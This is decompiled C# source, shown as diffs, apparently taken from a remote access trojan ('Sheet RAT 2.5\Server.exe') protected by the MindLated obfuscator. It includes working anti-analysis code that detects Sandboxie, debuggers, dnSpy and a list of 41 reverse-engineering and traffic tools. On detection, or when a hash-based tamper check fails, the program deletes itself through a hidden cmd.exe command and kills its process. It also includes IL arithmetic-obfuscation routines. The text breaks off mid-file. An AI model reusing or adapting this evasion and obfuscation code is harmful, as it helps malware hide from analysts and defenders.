string location = Assembly.GetExecutingAssembly().Location;
|
||||
Stream baseStream = new StreamReader(location).BaseStream;
|
||||
BinaryReader binaryReader = new BinaryReader(baseStream);
|
||||
string str1 = BitConverter.ToString(SHA256.Create().ComputeHash(binaryReader.ReadBytes(File.ReadAllBytes(location).Length - 32 /*0x20*/)));
|
||||
baseStream.Seek(-32L, SeekOrigin.End);
|
||||
string str2 = BitConverter.ToString(binaryReader.ReadBytes(32 /*0x20*/));
|
||||
if (!(str1 != str2))
|
||||
return;
|
||||
Process.Start(new ProcessStartInfo("cmd.exe", $"/C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del \"{Assembly.GetExecutingAssembly().Location}\"")
|
||||
{
|
||||
WindowStyle = ProcessWindowStyle.Hidden
|
||||
})?.Dispose();
|
||||
Process.GetCurrentProcess().Kill();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,136 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.Anti.Runtime.SelfDeleteClass
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
using System.Collections;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Reflection;
|
||||
using System.Text;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.Anti.Runtime {
|
||||
|
||||
internal class SelfDeleteClass
|
||||
{
|
||||
public static void Init()
|
||||
{
|
||||
if (SelfDeleteClass.IsSandboxie())
|
||||
SelfDeleteClass.SelfDelete();
|
||||
if (SelfDeleteClass.IsDebugger())
|
||||
SelfDeleteClass.SelfDelete();
|
||||
if (!SelfDeleteClass.IsdnSpyRun())
|
||||
return;
|
||||
SelfDeleteClass.SelfDelete();
|
||||
}
|
||||
|
||||
private static bool IsSandboxie() => SelfDeleteClass.IsDetected();
|
||||
|
||||
private static bool IsDebugger() => SelfDeleteClass.Run();
|
||||
|
||||
private static bool IsdnSpyRun() => SelfDeleteClass.ValueType();
|
||||
|
||||
private static void SelfDelete()
|
||||
{
|
||||
Process.Start(new ProcessStartInfo("cmd.exe", $"/C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del \"{Assembly.GetExecutingAssembly().Location}\"")
|
||||
{
|
||||
WindowStyle = ProcessWindowStyle.Hidden
|
||||
})?.Dispose();
|
||||
Process.GetCurrentProcess().Kill();
|
||||
}
|
||||
|
||||
private static bool ValueType()
|
||||
{
|
||||
return File.Exists(Environment.ExpandEnvironmentVariables("%appdata%") + "\\dnSpy\\dnSpy.xml");
|
||||
}
|
||||
|
||||
private static IntPtr GetModuleHandle(string libName)
|
||||
{
|
||||
foreach (ProcessModule module in (ReadOnlyCollectionBase) Process.GetCurrentProcess().Modules)
|
||||
{
|
||||
if (module.ModuleName.ToLower().Contains(libName.ToLower()))
|
||||
return module.BaseAddress;
|
||||
}
|
||||
return IntPtr.Zero;
|
||||
}
|
||||
|
||||
private static bool IsDetected()
|
||||
{
|
||||
return SelfDeleteClass.GetModuleHandle(Encoding.UTF8.GetString(Convert.FromBase64String("U2JpZURsbC5kbGw="))) != IntPtr.Zero;
|
||||
}
|
||||
|
||||
private static bool Run()
|
||||
{
|
||||
bool flag = false;
|
||||
if (Debugger.IsAttached || Debugger.IsLogging())
|
||||
{
|
||||
flag = true;
|
||||
}
|
||||
else
|
||||
{
|
||||
string[] strArray = new string[41]
|
||||
{
|
||||
"codecracker",
|
||||
"x32dbg",
|
||||
"x64dbg",
|
||||
"ollydbg",
|
||||
"ida",
|
||||
"charles",
|
||||
"dnspy",
|
||||
"simpleassembly",
|
||||
"peek",
|
||||
"httpanalyzer",
|
||||
"httpdebug",
|
||||
"fiddler",
|
||||
"wireshark",
|
||||
"dbx",
|
||||
"mdbg",
|
||||
"gdb",
|
||||
"windbg",
|
||||
"dbgclr",
|
||||
"kdb",
|
||||
"kgdb",
|
||||
"mdb",
|
||||
"processhacker",
|
||||
"scylla_x86",
|
||||
"scylla_x64",
|
||||
"scylla",
|
||||
"idau64",
|
||||
"idau",
|
||||
"idaq",
|
||||
"idaq64",
|
||||
"idaw",
|
||||
"idaw64",
|
||||
"idag",
|
||||
"idag64",
|
||||
"ida64",
|
||||
"ida",
|
||||
"ImportREC",
|
||||
"IMMUNITYDEBUGGER",
|
||||
"MegaDumper",
|
||||
"CodeBrowser",
|
||||
"reshacker",
|
||||
"cheat engine"
|
||||
};
|
||||
foreach (Process process in Process.GetProcesses())
|
||||
{
|
||||
if (process != Process.GetCurrentProcess())
|
||||
{
|
||||
for (int index = 0; index < strArray.Length; ++index)
|
||||
{
|
||||
if (process.ProcessName.ToLower().Contains(strArray[index]))
|
||||
flag = true;
|
||||
if (process.MainWindowTitle.ToLower().Contains(strArray[index]))
|
||||
flag = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return flag;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,117 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.Arithmetic.Arithmetic
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using dnlib.DotNet;
|
||||
using dnlib.DotNet.Emit;
|
||||
using MindLated.Protection.Arithmetic.Functions;
|
||||
using MindLated.Protection.Arithmetic.Functions.Maths;
|
||||
using MindLated.Protection.Arithmetic.Utils;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
using System.Collections.Generic;
|
||||
using System.Reflection;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.Arithmetic {
|
||||
|
||||
public static class Arithmetic
|
||||
{
|
||||
private static ModuleDef _moduleDef1;
|
||||
public static readonly List<Function> Tasks = new List<Function>()
|
||||
{
|
||||
(Function) new Add(),
|
||||
(Function) new Sub(),
|
||||
(Function) new Div(),
|
||||
(Function) new Mul(),
|
||||
(Function) new Xor(),
|
||||
(Function) new Abs(),
|
||||
(Function) new Log(),
|
||||
(Function) new Log10(),
|
||||
(Function) new Sin(),
|
||||
(Function) new Cos(),
|
||||
(Function) new Floor(),
|
||||
(Function) new Round(),
|
||||
(Function) new Tan(),
|
||||
(Function) new Tanh(),
|
||||
(Function) new Sqrt(),
|
||||
(Function) new Ceiling(),
|
||||
(Function) new Truncate()
|
||||
};
|
||||
|
||||
public static void Execute(ModuleDef module)
|
||||
{
|
||||
MindLated.Protection.Arithmetic.Arithmetic._moduleDef1 = module;
|
||||
MindLated.Protection.Arithmetic.Generator.Generator generator = new MindLated.Protection.Arithmetic.Generator.Generator();
|
||||
foreach (TypeDef type in (IEnumerable<TypeDef>) module.Types)
|
||||
{
|
||||
foreach (MethodDef method in (IEnumerable<MethodDef>) type.Methods)
|
||||
{
|
||||
if (method.HasBody && !method.DeclaringType.IsGlobalModuleType)
|
||||
{
|
||||
for (int index = 0; index < method.Body.Instructions.Count; ++index)
|
||||
{
|
||||
if (ArithmeticUtils.CheckArithmetic(method.Body.Instructions[index]))
|
||||
{
|
||||
if (method.Body.Instructions[index].GetLdcI4Value() < 0)
|
||||
{
|
||||
List<Instruction> body = MindLated.Protection.Arithmetic.Arithmetic.GenerateBody(MindLated.Protection.Arithmetic.Arithmetic.Tasks[generator.Next(5)].Arithmetic(method.Body.Instructions[index], module));
|
||||
method.Body.Instructions[index].OpCode = OpCodes.Nop;
|
||||
foreach (Instruction instruction in body)
|
||||
{
|
||||
method.Body.Instructions.Insert(index + 1, instruction);
|
||||
++index;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
List<Instruction> body = MindLated.Protection.Arithmetic.Arithmetic.GenerateBody(MindLated.Protection.Arithmetic.Arithmetic.Tasks[generator.Next(MindLated.Protection.Arithmetic.Arithmetic.Tasks.Count)].Arithmetic(method.Body.Instructions[index], module));
|
||||
method.Body.Instructions[index].OpCode = OpCodes.Nop;
|
||||
foreach (Instruction instruction in body)
|
||||
{
|
||||
method.Body.Instructions.Insert(index + 1, instruction);
|
||||
++index;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static List<Instruction> GenerateBody(ArithmeticVt arithmeticVTs)
|
||||
{
|
||||
List<Instruction> body = new List<Instruction>();
|
||||
if (MindLated.Protection.Arithmetic.Arithmetic.IsArithmetic(arithmeticVTs.GetArithmetic()))
|
||||
{
|
||||
body.Add(new Instruction(OpCodes.Ldc_R8, (object) arithmeticVTs.GetValue().GetX()));
|
||||
body.Add(new Instruction(OpCodes.Ldc_R8, (object) arithmeticVTs.GetValue().GetY()));
|
||||
if (arithmeticVTs.GetToken().GetOperand() != null)
|
||||
body.Add(new Instruction(OpCodes.Call, arithmeticVTs.GetToken().GetOperand()));
|
||||
body.Add(new Instruction(arithmeticVTs.GetToken().GetOpCode()));
|
||||
body.Add(new Instruction(OpCodes.Call, (object) MindLated.Protection.Arithmetic.Arithmetic._moduleDef1.Import((MethodBase) typeof (Convert).GetMethod("ToInt32", new Type[1]
|
||||
{
|
||||
typeof (double)
|
||||
}))));
|
||||
}
|
||||
else if (MindLated.Protection.Arithmetic.Arithmetic.IsXor(arithmeticVTs.GetArithmetic()))
|
||||
{
|
||||
body.Add(new Instruction(OpCodes.Ldc_I4, (object) (int) arithmeticVTs.GetValue().GetX()));
|
||||
body.Add(new Instruction(OpCodes.Ldc_I4, (object) (int) arithmeticVTs.GetValue().GetY()));
|
||||
body.Add(new Instruction(arithmeticVTs.GetToken().GetOpCode()));
|
||||
body.Add(new Instruction(OpCodes.Conv_I4));
|
||||
}
|
||||
return body;
|
||||
}
|
||||
|
||||
private static bool IsArithmetic(ArithmeticTypes arithmetic)
|
||||
{
|
||||
return arithmetic == ArithmeticTypes.Add || arithmetic == ArithmeticTypes.Sub || arithmetic == ArithmeticTypes.Div || arithmetic == ArithmeticTypes.Mul || arithmetic == ArithmeticTypes.Abs || arithmetic == ArithmeticTypes.Log || arithmetic == ArithmeticTypes.Log10 || arithmetic == ArithmeticTypes.Truncate || arithmetic == ArithmeticTypes.Sin || arithmetic == ArithmeticTypes.Cos || arithmetic == ArithmeticTypes.Floor || arithmetic == ArithmeticTypes.Round || arithmetic == ArithmeticTypes.Tan || arithmetic == ArithmeticTypes.Tanh || arithmetic == ArithmeticTypes.Sqrt || arithmetic == ArithmeticTypes.Ceiling;
|
||||
}
|
||||
|
||||
private static bool IsXor(ArithmeticTypes arithmetic) => arithmetic == ArithmeticTypes.Xor;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,133 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.Arithmetic.ArithmeticEmulator
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
using System.Collections.Generic;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.Arithmetic {
|
||||
|
||||
public class ArithmeticEmulator
|
||||
{
|
||||
private readonly double _x;
|
||||
private readonly double _y;
|
||||
private readonly ArithmeticTypes _arithmeticTypes;
|
||||
|
||||
public ArithmeticTypes GetType { get; private set; }
|
||||
|
||||
public ArithmeticEmulator(double x, double y, ArithmeticTypes arithmeticTypes)
|
||||
{
|
||||
this._x = x;
|
||||
this._y = y;
|
||||
this._arithmeticTypes = arithmeticTypes;
|
||||
}
|
||||
|
||||
public double GetValue()
|
||||
{
|
||||
switch (this._arithmeticTypes)
|
||||
{
|
||||
case ArithmeticTypes.Add:
|
||||
return this._x - this._y;
|
||||
case ArithmeticTypes.Sub:
|
||||
return this._x + this._y;
|
||||
case ArithmeticTypes.Div:
|
||||
return this._x * this._y;
|
||||
case ArithmeticTypes.Mul:
|
||||
return this._x / this._y;
|
||||
case ArithmeticTypes.Xor:
|
||||
return (double) ((int) this._x ^ (int) this._y);
|
||||
default:
|
||||
return -1.0;
|
||||
}
|
||||
}
|
||||
|
||||
public double GetValue(List<ArithmeticTypes> arithmetics)
|
||||
{
|
||||
MindLated.Protection.Arithmetic.Generator.Generator generator = new MindLated.Protection.Arithmetic.Generator.Generator();
|
||||
ArithmeticTypes arithmetic = arithmetics[generator.Next(arithmetics.Count)];
|
||||
this.GetType = arithmetic;
|
||||
switch (this._arithmeticTypes)
|
||||
{
|
||||
case ArithmeticTypes.Abs:
|
||||
if (arithmetic == ArithmeticTypes.Add)
|
||||
return this._x + Math.Abs(this._y) * -1.0;
|
||||
if (arithmetic == ArithmeticTypes.Sub)
|
||||
return this._x - Math.Abs(this._y) * -1.0;
|
||||
break;
|
||||
case ArithmeticTypes.Log:
|
||||
if (arithmetic == ArithmeticTypes.Add)
|
||||
return this._x - Math.Log(this._y);
|
||||
if (arithmetic == ArithmeticTypes.Sub)
|
||||
return this._x + Math.Log(this._y);
|
||||
break;
|
||||
case ArithmeticTypes.Log10:
|
||||
if (arithmetic == ArithmeticTypes.Add)
|
||||
return this._x - Math.Log10(this._y);
|
||||
if (arithmetic == ArithmeticTypes.Sub)
|
||||
return this._x + Math.Log10(this._y);
|
||||
break;
|
||||
case ArithmeticTypes.Sin:
|
||||
if (arithmetic == ArithmeticTypes.Add)
|
||||
return this._x - Math.Sin(this._y);
|
||||
if (arithmetic == ArithmeticTypes.Sub)
|
||||
return this._x + Math.Sin(this._y);
|
||||
break;
|
||||
case ArithmeticTypes.Cos:
|
||||
if (arithmetic == ArithmeticTypes.Add)
|
||||
return this._x - Math.Cos(this._y);
|
||||
if (arithmetic == ArithmeticTypes.Sub)
|
||||
return this._x + Math.Cos(this._y);
|
||||
break;
|
||||
case ArithmeticTypes.Round:
|
||||
if (arithmetic == ArithmeticTypes.Add)
|
||||
return this._x - Math.Round(this._y);
|
||||
if (arithmetic == ArithmeticTypes.Sub)
|
||||
return this._x + Math.Round(this._y);
|
||||
break;
|
||||
case ArithmeticTypes.Sqrt:
|
||||
if (arithmetic == ArithmeticTypes.Add)
|
||||
return this._x - Math.Sqrt(this._y);
|
||||
if (arithmetic == ArithmeticTypes.Sub)
|
||||
return this._x + Math.Sqrt(this._y);
|
||||
break;
|
||||
case ArithmeticTypes.Ceiling:
|
||||
if (arithmetic == ArithmeticTypes.Add)
|
||||
return this._x - Math.Ceiling(this._y);
|
||||
if (arithmetic == ArithmeticTypes.Sub)
|
||||
return this._x + Math.Ceiling(this._y);
|
||||
break;
|
||||
case ArithmeticTypes.Floor:
|
||||
if (arithmetic == ArithmeticTypes.Add)
|
||||
return this._x - Math.Floor(this._y);
|
||||
if (arithmetic == ArithmeticTypes.Sub)
|
||||
return this._x + Math.Floor(this._y);
|
||||
break;
|
||||
case ArithmeticTypes.Tan:
|
||||
if (arithmetic == ArithmeticTypes.Add)
|
||||
return this._x - Math.Tan(this._y);
|
||||
if (arithmetic == ArithmeticTypes.Sub)
|
||||
return this._x + Math.Tan(this._y);
|
||||
break;
|
||||
case ArithmeticTypes.Tanh:
|
||||
if (arithmetic == ArithmeticTypes.Add)
|
||||
return this._x - Math.Tanh(this._y);
|
||||
if (arithmetic == ArithmeticTypes.Sub)
|
||||
return this._x + Math.Tanh(this._y);
|
||||
break;
|
||||
case ArithmeticTypes.Truncate:
|
||||
if (arithmetic == ArithmeticTypes.Add)
|
||||
return this._x - Math.Truncate(this._y);
|
||||
if (arithmetic == ArithmeticTypes.Sub)
|
||||
return this._x + Math.Truncate(this._y);
|
||||
break;
|
||||
}
|
||||
return -1.0;
|
||||
}
|
||||
|
||||
public double GetY() => this._y;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.Arithmetic.ArithmeticTypes
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.Arithmetic {
|
||||
|
||||
public enum ArithmeticTypes
|
||||
{
|
||||
Add,
|
||||
Sub,
|
||||
Div,
|
||||
Mul,
|
||||
Xor,
|
||||
Abs,
|
||||
Log,
|
||||
Log10,
|
||||
Sin,
|
||||
Cos,
|
||||
Round,
|
||||
Sqrt,
|
||||
Ceiling,
|
||||
Floor,
|
||||
Tan,
|
||||
Tanh,
|
||||
Truncate,
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.Arithmetic.ArithmeticVt
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.Arithmetic {
|
||||
|
||||
public class ArithmeticVt
|
||||
{
|
||||
private readonly Value _value;
|
||||
private readonly Token _token;
|
||||
private readonly ArithmeticTypes _arithmeticTypes;
|
||||
|
||||
public ArithmeticVt(Value value, Token token, ArithmeticTypes arithmeticTypes)
|
||||
{
|
||||
this._value = value;
|
||||
this._token = token;
|
||||
this._arithmeticTypes = arithmeticTypes;
|
||||
}
|
||||
|
||||
public Value GetValue() => this._value;
|
||||
|
||||
public Token GetToken() => this._token;
|
||||
|
||||
public ArithmeticTypes GetArithmetic() => this._arithmeticTypes;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.Arithmetic.Function
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using dnlib.DotNet;
|
||||
using dnlib.DotNet.Emit;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.Arithmetic {
|
||||
|
||||
public abstract class Function
|
||||
{
|
||||
public abstract ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.Arithmetic.Functions.Add
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using dnlib.DotNet;
|
||||
using dnlib.DotNet.Emit;
|
||||
using MindLated.Protection.Arithmetic.Utils;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.Arithmetic.Functions {
|
||||
|
||||
public class Add : Function
|
||||
{
|
||||
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Add;
|
||||
|
||||
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
|
||||
{
|
||||
if (!ArithmeticUtils.CheckArithmetic(instruction))
|
||||
return (ArithmeticVt) null;
|
||||
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
|
||||
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(), arithmeticEmulator.GetY()), new Token(OpCodes.Add), this.ArithmeticTypes);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.Arithmetic.Functions.Div
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using dnlib.DotNet;
|
||||
using dnlib.DotNet.Emit;
|
||||
using MindLated.Protection.Arithmetic.Utils;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.Arithmetic.Functions {
|
||||
|
||||
public class Div : Function
|
||||
{
|
||||
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Div;
|
||||
|
||||
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
|
||||
{
|
||||
if (!ArithmeticUtils.CheckArithmetic(instruction))
|
||||
return (ArithmeticVt) null;
|
||||
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
|
||||
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(), arithmeticEmulator.GetY()), new Token(OpCodes.Div), this.ArithmeticTypes);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.Arithmetic.Functions.Maths.Abs
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using dnlib.DotNet;
|
||||
using dnlib.DotNet.Emit;
|
||||
using MindLated.Protection.Arithmetic.Utils;
|
||||
using System.Collections.Generic;
|
||||
using System.Reflection;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.Arithmetic.Functions.Maths {
|
||||
|
||||
public sealed class Abs : Function
|
||||
{
|
||||
private static ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Abs;
|
||||
|
||||
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
|
||||
{
|
||||
if (!ArithmeticUtils.CheckArithmetic(instruction))
|
||||
return (ArithmeticVt) null;
|
||||
List<ArithmeticTypes> arithmetics = new List<ArithmeticTypes>()
|
||||
{
|
||||
ArithmeticTypes.Add,
|
||||
ArithmeticTypes.Sub
|
||||
};
|
||||
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), Abs.ArithmeticTypes);
|
||||
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(Abs.ArithmeticTypes))), Abs.ArithmeticTypes);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.Arithmetic.Functions.Maths.Ceiling
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using dnlib.DotNet;
|
||||
using dnlib.DotNet.Emit;
|
||||
using MindLated.Protection.Arithmetic.Utils;
|
||||
using System.Collections.Generic;
|
||||
using System.Reflection;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.Arithmetic.Functions.Maths {
|
||||
|
||||
public class Ceiling : Function
|
||||
{
|
||||
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Ceiling;
|
||||
|
||||
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
|
||||
{
|
||||
if (!ArithmeticUtils.CheckArithmetic(instruction))
|
||||
return (ArithmeticVt) null;
|
||||
List<ArithmeticTypes> arithmetics = new List<ArithmeticTypes>()
|
||||
{
|
||||
ArithmeticTypes.Add,
|
||||
ArithmeticTypes.Sub
|
||||
};
|
||||
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
|
||||
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.Arithmetic.Functions.Maths.Cos
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using dnlib.DotNet;
|
||||
using dnlib.DotNet.Emit;
|
||||
using MindLated.Protection.Arithmetic.Utils;
|
||||
using System.Collections.Generic;
|
||||
using System.Reflection;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.Arithmetic.Functions.Maths {
|
||||
|
||||
public class Cos : Function
|
||||
{
|
||||
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Cos;
|
||||
|
||||
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
|
||||
{
|
||||
if (!ArithmeticUtils.CheckArithmetic(instruction))
|
||||
return (ArithmeticVt) null;
|
||||
List<ArithmeticTypes> arithmetics = new List<ArithmeticTypes>()
|
||||
{
|
||||
ArithmeticTypes.Add,
|
||||
ArithmeticTypes.Sub
|
||||
};
|
||||
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
|
||||
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.Arithmetic.Functions.Maths.Floor
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using dnlib.DotNet;
|
||||
using dnlib.DotNet.Emit;
|
||||
using MindLated.Protection.Arithmetic.Utils;
|
||||
using System.Collections.Generic;
|
||||
using System.Reflection;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.Arithmetic.Functions.Maths {
|
||||
|
||||
public class Floor : Function
|
||||
{
|
||||
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Floor;
|
||||
|
||||
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
|
||||
{
|
||||
if (!ArithmeticUtils.CheckArithmetic(instruction))
|
||||
return (ArithmeticVt) null;
|
||||
List<ArithmeticTypes> arithmetics = new List<ArithmeticTypes>()
|
||||
{
|
||||
ArithmeticTypes.Add,
|
||||
ArithmeticTypes.Sub
|
||||
};
|
||||
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
|
||||
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.Arithmetic.Functions.Maths.Log
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using dnlib.DotNet;
|
||||
using dnlib.DotNet.Emit;
|
||||
using MindLated.Protection.Arithmetic.Utils;
|
||||
using System.Collections.Generic;
|
||||
using System.Reflection;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.Arithmetic.Functions.Maths {
|
||||
|
||||
public class Log : Function
|
||||
{
|
||||
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Log;
|
||||
|
||||
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
|
||||
{
|
||||
if (!ArithmeticUtils.CheckArithmetic(instruction))
|
||||
return (ArithmeticVt) null;
|
||||
